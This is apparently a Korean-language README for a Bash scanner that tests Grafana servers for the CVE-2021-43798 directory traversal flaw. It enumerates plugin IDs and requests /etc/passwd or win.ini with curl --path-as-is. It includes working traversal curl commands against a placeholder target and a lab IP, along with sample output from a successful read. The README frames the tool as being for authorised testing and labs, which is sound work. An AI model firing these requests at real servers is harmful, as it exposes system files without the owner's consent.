Grafana 플러그인 ID를 열거하고 취약한 인스턴스에서 /etc/passwd 또는 win.ini를 읽어 CVE-2021-43798 디렉터리 트래버설을 테스트하는 Bash 기반 스캐너입니다.
취약한 Grafana 버전에 영향을 미치는 디렉터리 트래버설 취약점인 CVE-2021-43798에 대해 Grafana 인스턴스를 테스트하기 위한 작은 Bash 기반 도구입니다.
이 도구는 Grafana 플러그인 ID를 열거하고 curl --path-as-is를 사용하여 디렉터리 트래버설로 알려진 파일에 접근할 수 있는지 테스트합니다.
승인된 보안 테스트 및 실습 환경 전용입니다.
.
├── grafana-windows.sh
├── grafana-linux.sh
├── plugins.txt
└── README.md
grafana-windows.sh: C:\Windows\win.ini 접근 테스트grafana-linux.sh: /etc/passwd 접근 테스트plugins.txt: 열거 과정에서 사용되는 Grafana 플러그인 ID가 포함된 워드리스트.curlcurl이 설치되어 있는지 확인:
curl --version
스크립트에 실행 권한 부여:
chmod +x grafana-windows.sh
chmod +x grafana-linux.sh
CVE-2021-43798은 Grafana의 디렉터리 트래버설 취약점입니다.
취약한 엔드포인트는 다음을 기반으로 합니다:
/public/plugins/<plugin-id>/
이 취약점은 의도된 플러그인 디렉터리 외부로 트래버설할 수 있게 해줍니다.
curl로 테스트할 때 중요한 부분은 다음과 같습니다:
--path-as-is
이 옵션이 없으면 클라이언트가 서버로 보내기 전에 경로를 정규화할 수 있습니다.
Windows 스캐너는 다음을 가져오려고 시도합니다:
C:\Windows\win.ini
이 경로는 HTTP 요청에서 다음과 같이 표현됩니다:
Windows/win.ini
./grafana-windows.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
예시:
./grafana-windows.sh -u http://TARGET:3000 -w plugins.txt
다음과 같이 플러그인을 수동으로 테스트할 수 있습니다:
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
실습 대상의 경우:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../Windows/win.ini"
성공적인 응답에는 Windows INI 파일 내용이 포함되어야 합니다.
Linux 스캐너는 다음을 가져오려고 시도합니다:
/etc/passwd
./grafana-linux.sh \
-u http://192.168.68.193:3000 \
-w plugins.txt
일반적인 예시:
./grafana-linux.sh -u http://TARGET:3000 -w plugins.txt
curl --path-as-is \
"http://TARGET:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
실습 대상의 경우:
curl --path-as-is \
"http://192.168.68.193:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"
성공적인 Linux 응답에는 다음과 유사한 항목이 포함되어야 합니다:
root:x:0:0:root:/root:/bin/bash
두 스캐너 모두 동일한 기본 인수를 사용합니다:
u, --url : Grafana 기본 URLw, --wordlist : 플러그인 워드리스트f, --file : 테스트할 파일h, --help : 도움말 표시